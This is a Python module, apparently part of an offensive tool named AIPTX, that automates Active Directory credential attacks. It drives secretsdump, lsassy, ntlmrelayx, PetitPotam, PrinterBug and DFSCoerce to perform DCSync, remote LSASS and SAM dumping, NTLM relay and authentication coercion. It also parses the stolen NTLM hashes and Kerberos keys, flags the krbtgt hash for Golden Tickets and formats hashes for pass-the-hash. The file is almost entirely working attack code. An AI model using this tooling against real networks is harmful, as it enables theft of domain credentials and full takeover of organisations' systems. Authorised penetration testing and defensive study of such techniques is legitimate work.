"""
AIPTX Active Directory Credential Attacks

Credential theft and abuse techniques:
- DCSync (replication attack)
- LSASS memory dump
- SAM/SYSTEM/SECURITY extraction
- NTDS.dit extraction
- Credential relay attacks
- Authentication coercion
"""
from __future__ import annotations

import asyncio
import base64
import logging
import os
import re
import tempfile
from dataclasses import dataclass, field
from datetime import datetime
from enum import Enum
from typing import Optional, AsyncIterator

logger = logging.getLogger(__name__)


class CredentialType(Enum):
    """Types of extracted credentials"""
    NTLM_HASH = "ntlm_hash"
    CLEARTEXT = "cleartext"
    KERBEROS_KEY = "kerberos_key"
    MACHINE_ACCOUNT = "machine_account"
    KRBTGT = "krbtgt"
    CERTIFICATE = "certificate"
    DPAPI_KEY = "dpapi_key"


class ExtractionMethod(Enum):
    """Credential extraction methods"""
    DCSYNC = "dcsync"
    LSASS_DUMP = "lsass_dump"
    SAM_DUMP = "sam_dump"
    NTDS_DUMP = "ntds_dump"
    REGISTRY = "registry"
    SECRETSDUMP = "secretsdump"
    LSASSY = "lsassy"
    MIMIKATZ = "mimikatz"


@dataclass
class ExtractedCredential:
    """Extracted credential"""
    username: str
    domain: str = ""
    credential_type: CredentialType = CredentialType.NTLM_HASH

    # Credential values
    ntlm_hash: str = ""  # LM:NT or just NT hash
    nt_hash: str = ""
    lm_hash: str = ""
    cleartext: str = ""
    aes128_key: str = ""
    aes256_key: str = ""

    # Metadata
    rid: int = 0
    sid: str = ""
    enabled: bool = True
    extraction_method: str = ""
    source_host: str = ""
    extracted_at: datetime = field(default_factory=datetime.utcnow)

    def get_hash_for_pth(self) -> str:
        """Get hash in format suitable for pass-the-hash"""
        if self.ntlm_hash:
            return self.ntlm_hash
        elif self.nt_hash:
            return f"aad3b435b51404eeaad3b435b51404ee:{self.nt_hash}"
        return ""

    def is_crackable(self) -> bool:
        """Check if hash can be cracked offline"""
        return bool(self.nt_hash or self.ntlm_hash)

    def is_machine_account(self) -> bool:
        """Check if this is a machine account"""
        return self.username.endswith("$")

    def to_dict(self) -> dict:
        return {
            "username": self.username,
            "domain": self.domain,
            "credential_type": self.credential_type.value,
            "ntlm_hash": self.ntlm_hash[:10] + "..." if self.ntlm_hash else "",
            "has_cleartext": bool(self.cleartext),
            "rid": self.rid,
            "enabled": self.enabled,
            "extraction_method": self.extraction_method,
            "source_host": self.source_host,
            "is_machine_account": self.is_machine_account(),
        }


@dataclass
class RelayTarget:
    """Target for NTLM relay attacks"""
    host: str
    port: int = 445
    protocol: str = "smb"  # smb, ldap, ldaps, http, https, mssql
    signing_required: bool = True
    ldap_signing: bool = True
    webdav_enabled: bool = False

    def is_relayable(self) -> bool:
        """Check if target is suitable for relay"""
        if self.protocol == "smb":
            return not self.signing_required
        elif self.protocol in ("ldap", "ldaps"):
            return not self.ldap_signing
        elif self.protocol in ("http", "https"):
            return True  # HTTP is generally relayable
        return False

    def to_dict(self) -> dict:
        return {
            "host": self.host,
            "port": self.port,
            "protocol": self.protocol,
            "signing_required": self.signing_required,
            "is_relayable": self.is_relayable(),
        }


@dataclass
class ADCredentialConfig:
    """AD credential attack configuration"""
    # Authentication
    username: Optional[str] = None
    password: Optional[str] = None
    ntlm_hash: Optional[str] = None
    domain: Optional[str] = None
    dc_ip: Optional[str] = None

    # DCSync options
    dcsync_all: bool = False
    dcsync_users: list[str] = field(default_factory=list)  # Specific users

    # LSASS options
    lsass_method: str = "lsassy"  # lsassy, procdump, comsvcs, nanodump

    # Relay options
    relay_targets: list[str] = field(default_factory=list)
    relay_protocol: str = "smb"

    # Coercion options
    coercion_listener: str = ""  # IP to receive coerced auth
    coercion_method: str = "petitpotam"  # petitpotam, printerbug, dfscoerce

    # Timeouts
    timeout: float = 300.0


@dataclass
class ADCredentialResult:
    """Credential extraction results"""
    target: str
    credentials: list[ExtractedCredential] = field(default_factory=list)
    relay_targets: list[RelayTarget] = field(default_factory=list)

    # Statistics
    total_extracted: int = 0
    ntlm_hashes: int = 0
    cleartext_passwords: int = 0
    machine_accounts: int = 0
    domain_admins: int = 0
    krbtgt_extracted: bool = False

    # Metadata
    method_used: str = ""
    start_time: Optional[datetime] = None
    end_time: Optional[datetime] = None
    duration_seconds: float = 0.0
    errors: list[str] = field(default_factory=list)

    def get_by_type(self, cred_type: CredentialType) -> list[ExtractedCredential]:
        """Get credentials by type"""
        return [c for c in self.credentials if c.credential_type == cred_type]

    def get_domain_admins(self) -> list[ExtractedCredential]:
        """Get domain admin credentials (by RID)"""
        # RID 500 is Administrator, 512 is Domain Admins group member
        return [c for c in self.credentials if c.rid == 500]

    def get_krbtgt(self) -> Optional[ExtractedCredential]:
        """Get krbtgt credential for Golden Ticket"""
        for c in self.credentials:
            if c.username.lower() == "krbtgt":
                return c
        return None

    def update_stats(self) -> None:
        """Update statistics"""
        self.total_extracted = len(self.credentials)
        self.ntlm_hashes = sum(1 for c in self.credentials if c.ntlm_hash or c.nt_hash)
        self.cleartext_passwords = sum(1 for c in self.credentials if c.cleartext)
        self.machine_accounts = sum(1 for c in self.credentials if c.is_machine_account())
        self.domain_admins = len(self.get_domain_admins())
        self.krbtgt_extracted = self.get_krbtgt() is not None

    def to_dict(self) -> dict:
        self.update_stats()
        return {
            "target": self.target,
            "statistics": {
                "total_extracted": self.total_extracted,
                "ntlm_hashes": self.ntlm_hashes,
                "cleartext_passwords": self.cleartext_passwords,
                "machine_accounts": self.machine_accounts,
                "domain_admins": self.domain_admins,
                "krbtgt_extracted": self.krbtgt_extracted,
            },
            "credentials": [c.to_dict() for c in self.credentials],
            "relay_targets": [t.to_dict() for t in self.relay_targets],
            "method_used": self.method_used,
            "duration_seconds": self.duration_seconds,
            "errors": self.errors,
        }


class ADCredentialAttacks:
    """
    Active Directory Credential Attacks.

    Implements:
    - DCSync: Replicate credentials from DC (requires Replicating Directory Changes)
    - LSASS Dump: Extract credentials from memory
    - SAM Dump: Extract local account hashes
    - NTDS.dit: Extract domain database
    - Relay Attacks: NTLM relay to other services
    - Coercion: Force authentication from targets
    """

    def __init__(self, config: Optional[ADCredentialConfig] = None):
        self.config = config or ADCredentialConfig()

    # -------------------------------------------------------------------------
    # DCSync Attack
    # -------------------------------------------------------------------------

    async def dcsync(
        self,
        dc_ip: str,
        domain: str,
        target_users: Optional[list[str]] = None,
    ) -> ADCredentialResult:
        """
        Perform DCSync attack to replicate credentials.

        Requires: Domain Admin or Replicating Directory Changes rights

        Args:
            dc_ip: Domain controller IP
            domain: Domain name
            target_users: Specific users to sync (None = all)

        Returns:
            ADCredentialResult with extracted hashes
        """
        result = ADCredentialResult(target=dc_ip, method_used=ExtractionMethod.DCSYNC.value)
        result.start_time = datetime.utcnow()

        try:
            if target_users:
                # Sync specific users
                for user in target_users:
                    creds = await self._dcsync_user(dc_ip, domain, user)
                    result.credentials.extend(creds)
            else:
                # Sync all users
                creds = await self._dcsync_all(dc_ip, domain)
                result.credentials.extend(creds)

        except Exception as e:
            logger.error(f"DCSync failed: {e}")
            result.errors.append(str(e))

        result.end_time = datetime.utcnow()
        if result.start_time:
            result.duration_seconds = (result.end_time - result.start_time).total_seconds()

        result.update_stats()
        return result

    async def _dcsync_user(self, dc_ip: str, domain: str, username: str) -> list[ExtractedCredential]:
        """DCSync a specific user"""
        credentials = []

        try:
            # Build command
            cmd = ["secretsdump.py"]

            if self.config.username and self.config.password:
                cmd.append(f"{domain}/{self.config.username}:{self.config.password}@{dc_ip}")
            elif self.config.username and self.config.ntlm_hash:
                cmd.extend([
                    f"{domain}/{self.config.username}@{dc_ip}",
                    "-hashes", f":{self.config.ntlm_hash}"
                ])
            else:
                raise ValueError("Credentials required for DCSync")

            cmd.extend(["-just-dc-user", username])

            proc = await asyncio.create_subprocess_exec(
                *cmd,
                stdout=asyncio.subprocess.PIPE,
                stderr=asyncio.subprocess.PIPE
            )
            stdout, stderr = await asyncio.wait_for(
                proc.communicate(),
                timeout=self.config.timeout
            )

            output = stdout.decode() + stderr.decode()
            credentials = self._parse_secretsdump_output(output, dc_ip)

        except FileNotFoundError:
            logger.error("secretsdump.py not found. Install impacket.")
        except Exception as e:
            logger.error(f"DCSync user {username} failed: {e}")

        return credentials

    async def _dcsync_all(self, dc_ip: str, domain: str) -> list[ExtractedCredential]:
        """DCSync all users"""
        credentials = []

        try:
            cmd = ["secretsdump.py"]

            if self.config.username and self.config.password:
                cmd.append(f"{domain}/{self.config.username}:{self.config.password}@{dc_ip}")
            elif self.config.username and self.config.ntlm_hash:
                cmd.extend([
                    f"{domain}/{self.config.username}@{dc_ip}",
                    "-hashes", f":{self.config.ntlm_hash}"
                ])
            else:
                raise ValueError("Credentials required for DCSync")

            cmd.append("-just-dc")

            proc = await asyncio.create_subprocess_exec(
                *cmd,
                stdout=asyncio.subprocess.PIPE,
                stderr=asyncio.subprocess.PIPE
            )
            stdout, stderr = await asyncio.wait_for(
                proc.communicate(),
                timeout=self.config.timeout
            )

            output = stdout.decode() + stderr.decode()
            credentials = self._parse_secretsdump_output(output, dc_ip)

        except FileNotFoundError:
            logger.error("secretsdump.py not found")
        except Exception as e:
            logger.error(f"DCSync all failed: {e}")

        return credentials

    def _parse_secretsdump_output(self, output: str, source_host: str) -> list[ExtractedCredential]:
        """Parse secretsdump.py output"""
        credentials = []

        # Format: DOMAIN\username:RID:LMHash:NTHash:::
        pattern = r"^(\S+?)\\(\S+?):(\d+):([a-fA-F0-9]{32}):([a-fA-F0-9]{32}):::"
        for line in output.split("\n"):
            match = re.match(pattern, line.strip())
            if match:
                domain = match.group(1)
                username = match.group(2)
                rid = int(match.group(3))
                lm_hash = match.group(4)
                nt_hash = match.group(5)

                cred = ExtractedCredential(
                    username=username,
                    domain=domain,
                    credential_type=CredentialType.NTLM_HASH,
                    ntlm_hash=f"{lm_hash}:{nt_hash}",
                    nt_hash=nt_hash,
                    lm_hash=lm_hash,
                    rid=rid,
                    extraction_method=ExtractionMethod.DCSYNC.value,
                    source_host=source_host,
                )

                # Special handling for krbtgt
                if username.lower() == "krbtgt":
                    cred.credential_type = CredentialType.KRBTGT

                credentials.append(cred)

        # Also parse Kerberos keys if present
        # Format: DOMAIN\username:aes256-cts-hmac-sha1-96:KEY
        aes_pattern = r"^(\S+?)\\(\S+?):aes256-cts-hmac-sha1-96:([a-fA-F0-9]+)"
        for line in output.split("\n"):
            match = re.match(aes_pattern, line.strip())
            if match:
                domain = match.group(1)
                username = match.group(2)
                aes_key = match.group(3)

                # Update existing credential or create new
                existing = next((c for c in credentials if c.username == username and c.domain == domain), None)
                if existing:
                    existing.aes256_key = aes_key
                else:
                    credentials.append(ExtractedCredential(
                        username=username,
                        domain=domain,
                        credential_type=CredentialType.KERBEROS_KEY,
                        aes256_key=aes_key,
                        extraction_method=ExtractionMethod.DCSYNC.value,
                        source_host=source_host,
                    ))

        return credentials

    # -------------------------------------------------------------------------
    # LSASS Memory Dump
    # -------------------------------------------------------------------------

    async def dump_lsass(
        self,
        target_ip: str,
        method: str = "lsassy",
    ) -> ADCredentialResult:
        """
        Dump LSASS memory and extract credentials.

        Args:
            target_ip: Target host IP
            method: Dump method (lsassy, procdump, comsvcs, nanodump)

        Returns:
            ADCredentialResult with extracted credentials
        """
        result = ADCredentialResult(target=target_ip, method_used=ExtractionMethod.LSASS_DUMP.value)
        result.start_time = datetime.utcnow()

        try:
            if method == "lsassy":
                creds = await self._lsass_via_lsassy(target_ip)
            elif method == "procdump":
                creds = await self._lsass_via_procdump(target_ip)
            elif method == "comsvcs":
                creds = await self._lsass_via_comsvcs(target_ip)
            else:
                creds = await self._lsass_via_lsassy(target_ip)

            result.credentials.extend(creds)

        except Exception as e:
            logger.error(f"LSASS dump failed: {e}")
            result.errors.append(str(e))

        result.end_time = datetime.utcnow()
        if result.start_time:
            result.duration_seconds = (result.end_time - result.start_time).total_seconds()

        result.update_stats()
        return result

    async def _lsass_via_lsassy(self, target_ip: str) -> list[ExtractedCredential]:
        """Use lsassy for remote LSASS dump"""
        credentials = []

        try:
            cmd = ["lsassy"]

            if self.config.username and self.config.password:
                cmd.extend([
                    "-u", self.config.username,
                    "-p", self.config.password,
                ])
                if self.config.domain:
                    cmd.extend(["-d", self.config.domain])
            elif self.config.username and self.config.ntlm_hash:
                cmd.extend([
                    "-u", self.config.username,
                    "-H", self.config.ntlm_hash,
                ])
                if self.config.domain:
                    cmd.extend(["-d", self.config.domain])

            cmd.extend(["-json", target_ip])

            proc = await asyncio.create_subprocess_exec(
                *cmd,
                stdout=asyncio.subprocess.PIPE,
                stderr=asyncio.subprocess.PIPE
            )
            stdout, stderr = await asyncio.wait_for(
                proc.communicate(),
                timeout=self.config.timeout
            )

            output = stdout.decode()
            credentials = self._parse_lsassy_output(output, target_ip)

        except FileNotFoundError:
            logger.error("lsassy not found. pip install lsassy")
        except Exception as e:
            logger.error(f"lsassy failed: {e}")

        return credentials

    async def _lsass_via_procdump(self, target_ip: str) -> list[ExtractedCredential]:
        """Use procdump for LSASS dump (requires uploading procdump)"""
        # This would upload procdump.exe, execute it, download dump, parse locally
        logger.warning("Procdump method not yet implemented")
        return []

    async def _lsass_via_comsvcs(self, target_ip: str) -> list[ExtractedCredential]:
        """Use comsvcs.dll MiniDump for LSASS dump"""
        # rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <pid> dump.dmp full
        logger.warning("Comsvcs method not yet implemented")
        return []

    def _parse_lsassy_output(self, output: str, source_host: str) -> list[ExtractedCredential]:
        """Parse lsassy JSON output"""
        credentials = []

        try:
            import json
            data = json.loads(output)

            for host, host_data in data.items():
                for cred_data in host_data.get("credentials", []):
                    username = cred_data.get("username", "")
                    domain = cred_data.get("domain", "")

                    cred = ExtractedCredential(
                        username=username,
                        domain=domain,
                        source_host=source_host,
                        extraction_method=ExtractionMethod.LSASSY.value,
                    )

                    if "password" in cred_data and cred_data["password"]:
                        cred.cleartext = cred_data["password"]
                        cred.credential_type = CredentialType.CLEARTEXT

                    if "nt" in cred_data and cred_data["nt"]:
                        cred.nt_hash = cred_data["nt"]
                        cred.ntlm_hash = f"aad3b435b51404eeaad3b435b51404ee:{cred_data['nt']}"
                        if not cred.cleartext:
                            cred.credential_type = CredentialType.NTLM_HASH

                    if username:  # Only add if we have a username
                        credentials.append(cred)

        except Exception as e:
            logger.debug(f"Failed to parse lsassy output: {e}")
            # Try line-by-line parsing as fallback
            for line in output.split("\n"):
                if "::" in line:  # Likely a credential line
                    parts = line.split(":")
                    if len(parts) >= 4:
                        credentials.append(ExtractedCredential(
                            username=parts[0] if parts[0] else "unknown",
                            domain=parts[1] if len(parts) > 1 else "",
                            nt_hash=parts[3] if len(parts) > 3 else "",
                            source_host=source_host,
                            extraction_method=ExtractionMethod.LSASSY.value,
                        ))

        return credentials

    # -------------------------------------------------------------------------
    # SAM/SYSTEM Dump
    # -------------------------------------------------------------------------

    async def dump_sam(self, target_ip: str) -> ADCredentialResult:
        """
        Dump SAM database for local account hashes.

        Args:
            target_ip: Target host IP

        Returns:
            ADCredentialResult with local account hashes
        """
        result = ADCredentialResult(target=target_ip, method_used=ExtractionMethod.SAM_DUMP.value)
        result.start_time = datetime.utcnow()

        try:
            cmd = ["secretsdump.py"]

            if self.config.username and self.config.password:
                cmd.append(f"{self.config.domain}/{self.config.username}:{self.config.password}@{target_ip}")
            elif self.config.username and self.config.ntlm_hash:
                cmd.extend([
                    f"{self.config.domain}/{self.config.username}@{target_ip}",
                    "-hashes", f":{self.config.ntlm_hash}"
                ])

            cmd.append("-sam")

            proc = await asyncio.create_subprocess_exec(
                *cmd,
                stdout=asyncio.subprocess.PIPE,
                stderr=asyncio.subprocess.PIPE
            )
            stdout, stderr = await asyncio.wait_for(
                proc.communicate(),
                timeout=self.config.timeout
            )

            output = stdout.decode() + stderr.decode()

            # Parse SAM dump output
            # Format: username:RID:LM:NT:::
            pattern = r"^(\S+):(\d+):([a-fA-F0-9]{32}):([a-fA-F0-9]{32}):::"
            for line in output.split("\n"):
                match = re.match(pattern, line.strip())
                if match:
                    username = match.group(1)
                    rid = int(match.group(2))
                    lm_hash = match.group(3)
                    nt_hash = match.group(4)

                    result.credentials.append(ExtractedCredential(
                        username=username,
                        credential_type=CredentialType.NTLM_HASH,
                        ntlm_hash=f"{lm_hash}:{nt_hash}",
                        nt_hash=nt_hash,
                        lm_hash=lm_hash,
                        rid=rid,
                        extraction_method=ExtractionMethod.SAM_DUMP.value,
                        source_host=target_ip,
                    ))

        except Exception as e:
            logger.error(f"SAM dump failed: {e}")
            result.errors.append(str(e))

        result.end_time = datetime.utcnow()
        if result.start_time:
            result.duration_seconds = (result.end_time - result.start_time).total_seconds()

        result.update_stats()
        return result

    # -------------------------------------------------------------------------
    # NTLM Relay Attacks
    # -------------------------------------------------------------------------

    async def find_relay_targets(self, targets: list[str]) -> list[RelayTarget]:
        """
        Find targets suitable for NTLM relay.

        Checks SMB signing, LDAP signing, etc.

        Args:
            targets: List of target IPs/hostnames

        Returns:
            List of RelayTarget objects
        """
        relay_targets = []

        for target in targets:
            # Check SMB signing
            smb_target = await self._check_smb_signing(target)
            if smb_target:
                relay_targets.append(smb_target)

            # Check LDAP signing
            ldap_target = await self._check_ldap_signing(target)
            if ldap_target:
                relay_targets.append(ldap_target)

        return relay_targets

    async def _check_smb_signing(self, target: str) -> Optional[RelayTarget]:
        """Check if SMB signing is required"""
        try:
            proc = await asyncio.create_subprocess_exec(
                "nmap", "-p", "445", "--script", "smb2-security-mode",
                target, "-oN", "-",
                stdout=asyncio.subprocess.PIPE,
                stderr=asyncio.subprocess.PIPE
            )
            stdout, _ = await asyncio.wait_for(proc.communicate(), timeout=30)
            output = stdout.decode()

            signing_required = "Message signing enabled and required" in output

            return RelayTarget(
                host=target,
                port=445,
                protocol="smb",
                signing_required=signing_required,
            )

        except Exception as e:
            logger.debug(f"SMB signing check failed for {target}: {e}")
            return None

    async def _check_ldap_signing(self, target: str) -> Optional[RelayTarget]:
        """Check if LDAP signing is required"""
        try:
            # Try anonymous LDAP bind to check signing
            from ldap3 import Server, Connection, ANONYMOUS

            server = Server(target, port=389, connect_timeout=5)
            conn = Connection(server, authentication=ANONYMOUS)

            # If we can bind, signing might not be required
            # Full check would require attempting relay
            ldap_signing = True  # Assume required by default

            return RelayTarget(
                host=target,
                port=389,
                protocol="ldap",
                ldap_signing=ldap_signing,
            )

        except Exception as e:
            logger.debug(f"LDAP signing check failed for {target}: {e}")
            return None

    async def setup_ntlm_relay(
        self,
        targets: list[str],
        listener_ip: str,
        attack_type: str = "smb",
    ) -> dict:
        """
        Setup NTLM relay attack using ntlmrelayx.

        Args:
            targets: Relay targets
            listener_ip: IP to listen on
            attack_type: smb, ldap, http, etc.

        Returns:
            Dict with relay configuration and command
        """
        # Build ntlmrelayx command
        cmd = [
            "ntlmrelayx.py",
            "-tf", "/tmp/relay_targets.txt",
            "-smb2support",
        ]

        if attack_type == "ldap":
            cmd.extend(["--escalate-user", self.config.username or ""])
        elif attack_type == "adcs":
            cmd.extend(["--adcs", "--template", "User"])

        # Write targets file
        with open("/tmp/relay_targets.txt", "w") as f:
            for target in targets:
                f.write(f"{target}\n")

        return {
            "command": " ".join(cmd),
            "targets": targets,
            "listener": listener_ip,
            "attack_type": attack_type,
            "instructions": [
                f"1. Run: {' '.join(cmd)}",
                f"2. Coerce authentication to {listener_ip}",
                "3. Captured credentials will be relayed to targets",
            ],
        }

    # -------------------------------------------------------------------------
    # Authentication Coercion
    # -------------------------------------------------------------------------

    async def coerce_authentication(
        self,
        target_ip: str,
        listener_ip: str,
        method: str = "petitpotam",
    ) -> dict:
        """
        Coerce target to authenticate to listener.

        Methods:
        - petitpotam: EfsRpcOpenFileRaw
        - printerbug: SpoolService
        - dfscoerce: DFS
        - shadowcoerce: VSS

        Args:
            target_ip: Target to coerce
            listener_ip: IP to receive authentication
            method: Coercion method

        Returns:
            Dict with execution result
        """
        result = {
            "method": method,
            "target": target_ip,
            "listener": listener_ip,
            "success": False,
            "error": None,
        }

        try:
            if method == "petitpotam":
                success = await self._coerce_petitpotam(target_ip, listener_ip)
            elif method == "printerbug":
                success = await self._coerce_printerbug(target_ip, listener_ip)
            elif method == "dfscoerce":
                success = await self._coerce_dfscoerce(target_ip, listener_ip)
            else:
                success = await self._coerce_petitpotam(target_ip, listener_ip)

            result["success"] = success

        except Exception as e:
            result["error"] = str(e)
            logger.error(f"Coercion failed: {e}")

        return result

    async def _coerce_petitpotam(self, target_ip: str, listener_ip: str) -> bool:
        """Use PetitPotam for authentication coercion"""
        try:
            cmd = ["PetitPotam.py", listener_ip, target_ip]

            if self.config.username and self.config.password:
                cmd.extend([
                    "-u", self.config.username,
                    "-p", self.config.password,
                ])
                if self.config.domain:
                    cmd.extend(["-d", self.config.domain])
            elif self.config.username and self.config.ntlm_hash:
                cmd.extend([
                    "-u", self.config.username,
                    "-hashes", f":{self.config.ntlm_hash}",
                ])
                if self.config.domain:
                    cmd.extend(["-d", self.config.domain])

            proc = await asyncio.create_subprocess_exec(
                *cmd,
                stdout=asyncio.subprocess.PIPE,
                stderr=asyncio.subprocess.PIPE
            )
            stdout, stderr = await asyncio.wait_for(
                proc.communicate(),
                timeout=30
            )

            output = stdout.decode() + stderr.decode()
            return "Attack worked" in output or "Sending" in output

        except FileNotFoundError:
            logger.error("PetitPotam.py not found")
            return False
        except Exception as e:
            logger.error(f"PetitPotam failed: {e}")
            return False

    async def _coerce_printerbug(self, target_ip: str, listener_ip: str) -> bool:
        """Use PrinterBug/SpoolSample for authentication coercion"""
        try:
            cmd = ["printerbug.py"]

            if self.config.username and self.config.password:
                cmd.append(f"{self.config.domain}/{self.config.username}:{self.config.password}@{target_ip}")
            elif self.config.username and self.config.ntlm_hash:
                cmd.extend([
                    f"{self.config.domain}/{self.config.username}@{target_ip}",
                    "-hashes", f":{self.config.ntlm_hash}"
                ])

            cmd.append(listener_ip)

            proc = await asyncio.create_subprocess_exec(
                *cmd,
                stdout=asyncio.subprocess.PIPE,
                stderr=asyncio.subprocess.PIPE
            )
            stdout, stderr = await asyncio.wait_for(
                proc.communicate(),
                timeout=30
            )

            output = stdout.decode() + stderr.decode()
            return "Got handle" in output or "triggering" in output.lower()

        except FileNotFoundError:
            logger.error("printerbug.py not found")
            return False
        except Exception as e:
            logger.error(f"PrinterBug failed: {e}")
            return False

    async def _coerce_dfscoerce(self, target_ip: str, listener_ip: str) -> bool:
        """Use DFSCoerce for authentication coercion"""
        try:
            cmd = ["dfscoerce.py"]

            if self.config.username and self.config.password:
                cmd.extend([
                    "-u", self.config.username,
                    "-p", self.config.password,
                ])
                if self.config.domain:
                    cmd.extend(["-d", self.config.domain])

            cmd.extend([listener_ip, target_ip])

            proc = await asyncio.create_subprocess_exec(
                *cmd,
                stdout=asyncio.subprocess.PIPE,
                stderr=asyncio.subprocess.PIPE
            )
            stdout, stderr = await asyncio.wait_for(
                proc.communicate(),
                timeout=30
            )

            output = stdout.decode() + stderr.decode()
            return "success" in output.lower() or "triggering" in output.lower()

        except FileNotFoundError:
            logger.error("dfscoerce.py not found")
            return False
        except Exception as e:
            logger.error(f"DFSCoerce failed: {e}")
            return False


# Convenience functions
async def dcsync(
    dc_ip: str,
    domain: str,
    username: str,
    password: Optional[str] = None,
    ntlm_hash: Optional[str] = None,
    target_users: Optional[list[str]] = None,
) -> ADCredentialResult:
    """
    Perform DCSync attack.

    Args:
        dc_ip: Domain controller IP
        domain: Domain name
        username: Username with replication rights
        password: Password or None if using hash
        ntlm_hash: NTLM hash for pass-the-hash
        target_users: Specific users to sync

    Returns:
        ADCredentialResult with extracted credentials
    """
    config = ADCredentialConfig(
        username=username,
        password=password,
        ntlm_hash=ntlm_hash,
        domain=domain,
        dc_ip=dc_ip,
    )
    attacker = ADCredentialAttacks(config)
    return await attacker.dcsync(dc_ip, domain, target_users)


async def dump_lsass_remote(
    target_ip: str,
    username: str,
    password: Optional[str] = None,
    ntlm_hash: Optional[str] = None,
    domain: Optional[str] = None,
) -> ADCredentialResult:
    """
    Dump LSASS on remote host.

    Args:
        target_ip: Target host
        username: Admin username
        password: Password
        ntlm_hash: NTLM hash
        domain: Domain name

    Returns:
        ADCredentialResult with extracted credentials
    """
    config = ADCredentialConfig(
        username=username,
        password=password,
        ntlm_hash=ntlm_hash,
        domain=domain,
    )
    attacker = ADCredentialAttacks(config)
    return await attacker.dump_lsass(target_ip)
